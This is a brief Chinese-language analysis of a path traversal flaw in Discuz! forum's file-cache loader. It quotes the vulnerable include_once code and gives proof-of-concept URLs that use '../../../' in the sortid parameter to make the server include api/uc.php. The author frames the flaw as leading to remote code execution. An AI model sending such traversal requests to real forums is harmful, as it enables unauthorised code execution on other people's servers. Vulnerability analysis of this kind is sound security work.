先来看看 config_global.php 中关于缓存类型的配置:
$_config['cache']['type'] = 'file';
function cachedata($cachenames) {
……
$isfilecache = getglobal('config/cache/type') == 'file';
……
if($isfilecache) {
$lostcaches = array();
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
$lostcaches[] = $cachename;
}
}
……
}
}
注意这里的关键逻辑:当缓存类型设置为 file 时,cachedata 函数会遍历缓存名称列表,并尝试用 include_once 加载对应的缓存文件。如果文件不存在,就把它记入 $lostcaches。这一过程本身没什么问题——但如果能够控制 $cachenames 中的路径,那就有意思了。
下面这个请求地址就是典型的路径穿越漏洞利用:
https://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
在这个 URL 中,sortid 参数的值包含了 ../../../ 这样的目录穿越,最终指向 api/uc.php。而实际测试表明,这个请求确实成功执行了 api/uc.php 中的代码。
另一个类似的请求则返回了认证过期信息:
https://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried
这从侧面印证了漏洞的可利用性——攻击者能够通过这种路径构造,让服务器去加载并执行任意 PHP 文件。换句话说,只要攻击者知道目标站点上的文件路径,就能通过这种手法实现远程代码执行,危险性不言而喻。
